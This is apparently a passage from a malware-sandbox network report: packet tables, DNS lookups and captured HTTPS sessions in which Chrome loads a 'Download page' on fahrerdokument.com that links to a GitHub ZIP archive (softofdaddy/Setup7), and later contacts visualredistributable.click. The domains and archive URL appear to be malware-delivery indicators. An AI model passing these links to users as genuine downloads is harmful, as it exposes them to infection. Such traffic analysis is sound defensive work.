Apr 5, 2024 20:11:07.853352070 CEST	443	49741	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.853382111 CEST	443	49740	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.853529930 CEST	49740	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.854427099 CEST	443	49741	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.854777098 CEST	49741	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.871104956 CEST	49741	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.871107101 CEST	49740	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.871184111 CEST	443	49741	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.871290922 CEST	443	49740	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.871335030 CEST	49740	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.915888071 CEST	49741	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.915894032 CEST	49740	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.915905952 CEST	443	49741	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.915905952 CEST	443	49740	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.968327999 CEST	49740	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.968347073 CEST	49741	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:08.144988060 CEST	443	49740	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:08.145073891 CEST	443	49740	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:08.145172119 CEST	49740	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:08.152503014 CEST	49740	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:08.152518034 CEST	443	49740	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:08.311780930 CEST	49742	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:08.311817884 CEST	443	49742	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:08.311939955 CEST	49742	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:08.314809084 CEST	49742	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:08.314826965 CEST	443	49742	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:08.642510891 CEST	443	49742	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:08.642761946 CEST	49742	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:08.642788887 CEST	443	49742	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:08.643907070 CEST	443	49742	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:08.643985033 CEST	49742	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:08.645189047 CEST	49742	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:08.645261049 CEST	443	49742	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:08.645363092 CEST	49742	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:08.645373106 CEST	443	49742	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:08.686364889 CEST	49742	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:09.011850119 CEST	443	49742	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.011926889 CEST	443	49742	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.012001038 CEST	49742	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:09.012196064 CEST	49742	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:09.012208939 CEST	443	49742	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.012788057 CEST	49743	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:09.012819052 CEST	443	49743	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.012887955 CEST	49743	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:09.013098001 CEST	49743	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:09.013109922 CEST	443	49743	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.344491005 CEST	443	49743	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.344811916 CEST	49743	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:09.344831944 CEST	443	49743	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.345210075 CEST	443	49743	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.345607042 CEST	49743	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:09.345711946 CEST	443	49743	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.345824957 CEST	49743	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:09.388237000 CEST	443	49743	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.681014061 CEST	443	49743	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.681086063 CEST	443	49743	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.681363106 CEST	49743	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:09.681377888 CEST	443	49743	35.190.80.1	192.168.2.6
Apr 5, 2024 20:11:09.681401968 CEST	49743	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:09.681401968 CEST	49743	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:09.681524992 CEST	49743	443	192.168.2.6	35.190.80.1
Apr 5, 2024 20:11:22.836689949 CEST	443	49741	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:22.836771011 CEST	443	49741	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:22.836839914 CEST	49741	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:23.330679893 CEST	49741	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:23.330708981 CEST	443	49741	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:26.019068956 CEST	49748	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:26.019094944 CEST	443	49748	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:26.019150972 CEST	49748	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:26.020061970 CEST	49748	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:26.020076036 CEST	443	49748	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:26.497837067 CEST	443	49748	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:26.497910023 CEST	49748	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:26.500952005 CEST	49748	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:26.500960112 CEST	443	49748	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:26.501223087 CEST	443	49748	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:26.502991915 CEST	49748	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:26.503047943 CEST	49748	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:26.503052950 CEST	443	49748	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:26.503190041 CEST	49748	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:26.544245005 CEST	443	49748	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:26.661519051 CEST	443	49748	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:26.661706924 CEST	443	49748	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:26.661766052 CEST	49748	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:26.661839962 CEST	49748	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:26.661854982 CEST	443	49748	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:27.219394922 CEST	49749	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:11:27.219434977 CEST	443	49749	142.250.189.132	192.168.2.6
Apr 5, 2024 20:11:27.219513893 CEST	49749	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:11:27.219902039 CEST	49749	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:11:27.219917059 CEST	443	49749	142.250.189.132	192.168.2.6
Apr 5, 2024 20:11:27.547969103 CEST	443	49749	142.250.189.132	192.168.2.6
Apr 5, 2024 20:11:27.548403025 CEST	49749	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:11:27.548433065 CEST	443	49749	142.250.189.132	192.168.2.6
Apr 5, 2024 20:11:27.548780918 CEST	443	49749	142.250.189.132	192.168.2.6
Apr 5, 2024 20:11:27.549120903 CEST	49749	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:11:27.549186945 CEST	443	49749	142.250.189.132	192.168.2.6
Apr 5, 2024 20:11:27.593327045 CEST	49749	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:11:37.537072897 CEST	443	49749	142.250.189.132	192.168.2.6
Apr 5, 2024 20:11:37.537137032 CEST	443	49749	142.250.189.132	192.168.2.6
Apr 5, 2024 20:11:37.537188053 CEST	49749	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:11:39.329571962 CEST	49749	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:11:39.329581022 CEST	443	49749	142.250.189.132	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 5, 2024 20:10:22.907931089 CEST	53	60634	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:22.910187006 CEST	53	59152	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:23.903518915 CEST	53	51125	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:24.852591991 CEST	60003	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:10:24.852818966 CEST	53076	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:10:24.977133989 CEST	53	60003	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:25.002127886 CEST	53	53076	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:26.634478092 CEST	51130	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:10:26.679949999 CEST	60728	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:10:26.759335041 CEST	53	51130	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:26.804624081 CEST	53	60728	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:27.044116974 CEST	64254	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:10:27.044573069 CEST	63611	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:10:27.168366909 CEST	53	64254	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:27.180915117 CEST	52699	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:10:27.182389021 CEST	64738	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:10:27.281816006 CEST	53	63611	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:27.305907965 CEST	53	52699	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:27.308036089 CEST	53	64738	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:27.645972967 CEST	64218	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:10:27.645972967 CEST	55057	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:10:27.771405935 CEST	53	64218	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:27.787183046 CEST	53	55057	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:40.980673075 CEST	53	57475	1.1.1.1	192.168.2.6
Apr 5, 2024 20:10:59.843761921 CEST	53	49161	1.1.1.1	192.168.2.6
Apr 5, 2024 20:11:07.365361929 CEST	58067	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:11:07.365539074 CEST	50722	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:11:07.543950081 CEST	53	50722	1.1.1.1	192.168.2.6
Apr 5, 2024 20:11:07.570457935 CEST	53	58067	1.1.1.1	192.168.2.6
Apr 5, 2024 20:11:08.151262999 CEST	63563	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:11:08.152316093 CEST	55307	53	192.168.2.6	1.1.1.1
Apr 5, 2024 20:11:08.275971889 CEST	53	63563	1.1.1.1	192.168.2.6
Apr 5, 2024 20:11:08.276902914 CEST	53	55307	1.1.1.1	192.168.2.6
Apr 5, 2024 20:11:22.617026091 CEST	53	57335	1.1.1.1	192.168.2.6
Apr 5, 2024 20:11:22.819173098 CEST	53	61057	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 5, 2024 20:10:26.804685116 CEST	192.168.2.6	1.1.1.1	c236	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 5, 2024 20:10:24.852591991 CEST	192.168.2.6	1.1.1.1	0xd102	Standard query (0)	fahrerdokument.com	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:10:24.852818966 CEST	192.168.2.6	1.1.1.1	0xb4e9	Standard query (0)	fahrerdokument.com	65	IN (0x0001)	false
Apr 5, 2024 20:10:26.634478092 CEST	192.168.2.6	1.1.1.1	0x2b11	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:10:26.679949999 CEST	192.168.2.6	1.1.1.1	0x7704	Standard query (0)	github.com	65	IN (0x0001)	false
Apr 5, 2024 20:10:27.044116974 CEST	192.168.2.6	1.1.1.1	0x2f08	Standard query (0)	fahrerdokument.com	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:10:27.044573069 CEST	192.168.2.6	1.1.1.1	0x2d4	Standard query (0)	fahrerdokument.com	65	IN (0x0001)	false
Apr 5, 2024 20:10:27.180915117 CEST	192.168.2.6	1.1.1.1	0xbe0a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:10:27.182389021 CEST	192.168.2.6	1.1.1.1	0xe0b1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 5, 2024 20:10:27.645972967 CEST	192.168.2.6	1.1.1.1	0x61df	Standard query (0)	codeload.github.com	65	IN (0x0001)	false
Apr 5, 2024 20:10:27.645972967 CEST	192.168.2.6	1.1.1.1	0x4fea	Standard query (0)	codeload.github.com	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:11:07.365361929 CEST	192.168.2.6	1.1.1.1	0x1196	Standard query (0)	visualredistributable.click	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:11:07.365539074 CEST	192.168.2.6	1.1.1.1	0x26e6	Standard query (0)	visualredistributable.click	65	IN (0x0001)	false
Apr 5, 2024 20:11:08.151262999 CEST	192.168.2.6	1.1.1.1	0xb7e6	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:11:08.152316093 CEST	192.168.2.6	1.1.1.1	0xfe99	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 5, 2024 20:10:24.977133989 CEST	1.1.1.1	192.168.2.6	0xd102	No error (0)	fahrerdokument.com		89.187.28.179	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:10:26.759335041 CEST	1.1.1.1	192.168.2.6	0x2b11	No error (0)	github.com		140.82.113.3	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:10:27.168366909 CEST	1.1.1.1	192.168.2.6	0x2f08	No error (0)	fahrerdokument.com		89.187.28.179	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:10:27.305907965 CEST	1.1.1.1	192.168.2.6	0xbe0a	No error (0)	www.google.com		142.250.189.132	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:10:27.308036089 CEST	1.1.1.1	192.168.2.6	0xe0b1	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 5, 2024 20:10:27.787183046 CEST	1.1.1.1	192.168.2.6	0x4fea	No error (0)	codeload.github.com		140.82.114.10	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:10:37.888271093 CEST	1.1.1.1	192.168.2.6	0x9909	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 5, 2024 20:10:37.888271093 CEST	1.1.1.1	192.168.2.6	0x9909	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:10:51.396569967 CEST	1.1.1.1	192.168.2.6	0x982a	No error (0)	windowsupdatebg.s.llnwi.net		208.111.136.128	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:10:51.396569967 CEST	1.1.1.1	192.168.2.6	0x982a	No error (0)	windowsupdatebg.s.llnwi.net		208.111.136.0	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:11:07.543950081 CEST	1.1.1.1	192.168.2.6	0x26e6	No error (0)	visualredistributable.click			65	IN (0x0001)	false
Apr 5, 2024 20:11:07.570457935 CEST	1.1.1.1	192.168.2.6	0x1196	No error (0)	visualredistributable.click		104.21.35.10	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:11:07.570457935 CEST	1.1.1.1	192.168.2.6	0x1196	No error (0)	visualredistributable.click		172.67.167.42	A (IP address)	IN (0x0001)	false
Apr 5, 2024 20:11:08.275971889 CEST	1.1.1.1	192.168.2.6	0xb7e6	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fahrerdokument.com

https:

github.com

codeload.github.com

fs.microsoft.com

visualredistributable.click

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49716	89.187.28.179	443	6976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:25 UTC	666	OUT	GET /zip3/ HTTP/1.1 Host: fahrerdokument.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-05 18:10:26 UTC	242	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Apr 2024 18:10:26 GMT Content-Type: text/html Content-Length: 692 Last-Modified: Thu, 04 Apr 2024 17:07:11 GMT Connection: close ETag: "660ede3f-2b4" Accept-Ranges: bytes
2024-04-05 18:10:26 UTC	692	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 20 20 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 09 09 3c 74 69 74 6c 65 3e 44 6f 77 6e 6c 6f 61 64 20 70 61 67 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 09 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 73 6f 66 74 6f 66 64 61 64 64 79 2f 53 65 74 75 70 37 2f 61 72 63 68 69 76 65 2f 72 65 66 73 2f 68 65 61 64 73 2f 6d 61 69 6e 2e 7a 69 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2e 2e 2f 69 6d 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 69 6d 61 67 65 2e 70 6e 67 22 20 61 6c 74 3d 22 44 6f 77 6e 6c 6f 61 64 Data Ascii: <!DOCTYPE html> <html> <head> <title>Download page</title> <meta charset="UTF-8" /> <a href="https://github.com/softofdaddy/Setup7/archive/refs/heads/main.zip"><img src="../image/downloadimage.png" alt="Download

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49717	89.187.28.179	443	6976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:26 UTC	609	OUT	GET /image/downloadimage.png HTTP/1.1 Host: fahrerdokument.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fahrerdokument.com/zip3/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-05 18:10:26 UTC	245	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Apr 2024 18:10:26 GMT Content-Type: image/png Content-Length: 10526 Last-Modified: Fri, 02 Jun 2023 17:32:45 GMT Connection: close ETag: "647a27bd-291e" Accept-Ranges: bytes
2024-04-05 18:10:26 UTC	10526	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 78 00 00 01 87 08 02 00 00 00 35 3b de 3d 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 28 b3 49 44 41 54 78 5e ed 9d ef b3 6d 49 79 d7 f9 77 ac ca 4b 8b 17 53 25 e5 0b df 58 95 4a e9 0b 0a 5f 28 41 2c 47 cd 0f 15 53 24 86 50 d1 10 88 41 82 4c 2a 84 30 92 32 a4 0c ca 80 26 68 f0 02 42 20 09 29 20 a8 31 09 8a 13 2e 30 c0 cc 30 73 e7 de 3b 73 ef cc f9 71 ef 39 67 ef f1 e9 d5 bd 7a 3d dd ab 7b ed 5e 7b ef 3e bb d7 39 9f 4f 3d 75 ee 39 dd bd ba 9f 7e ba fb bb 7b f5 5e 7b df d7 bc 0a 00 50 89 f5 da fe 8b d0 00 40 75 10 1a 00 a8 80 dd cb f4 3f 11 1a 00 a8 0e 42 03 00 d5 60 47 03 00 97 06 42 03 00 Data Ascii: PNGIHDRx5;=sRGBgAMAapHYsod(IDATx^mIywKS%XJ_(A,GS$PAL*02&hB ) 1.00s;sq9gz={^{>9O=u9~{^{P@u?B`GB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49722	140.82.113.3	443	6976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:27 UTC	723	OUT	GET /softofdaddy/Setup7/archive/refs/heads/main.zip HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://fahrerdokument.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-05 18:10:27 UTC	526	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 05 Apr 2024 18:08:44 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://codeload.github.com/softofdaddy/Setup7/zip/refs/heads/main Cache-Control: max-age=0, private Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-04-05 18:10:27 UTC	2946	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49720	89.187.28.179	443	6976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:27 UTC	597	OUT	GET /favicon.ico HTTP/1.1 Host: fahrerdokument.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fahrerdokument.com/zip3/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-05 18:10:27 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Apr 2024 18:10:27 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-04-05 18:10:27 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49723	89.187.28.179	443	6976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:27 UTC	365	OUT	GET /image/downloadimage.png HTTP/1.1 Host: fahrerdokument.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-05 18:10:28 UTC	245	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Apr 2024 18:10:28 GMT Content-Type: image/png Content-Length: 10526 Last-Modified: Fri, 02 Jun 2023 17:32:45 GMT Connection: close ETag: "647a27bd-291e" Accept-Ranges: bytes
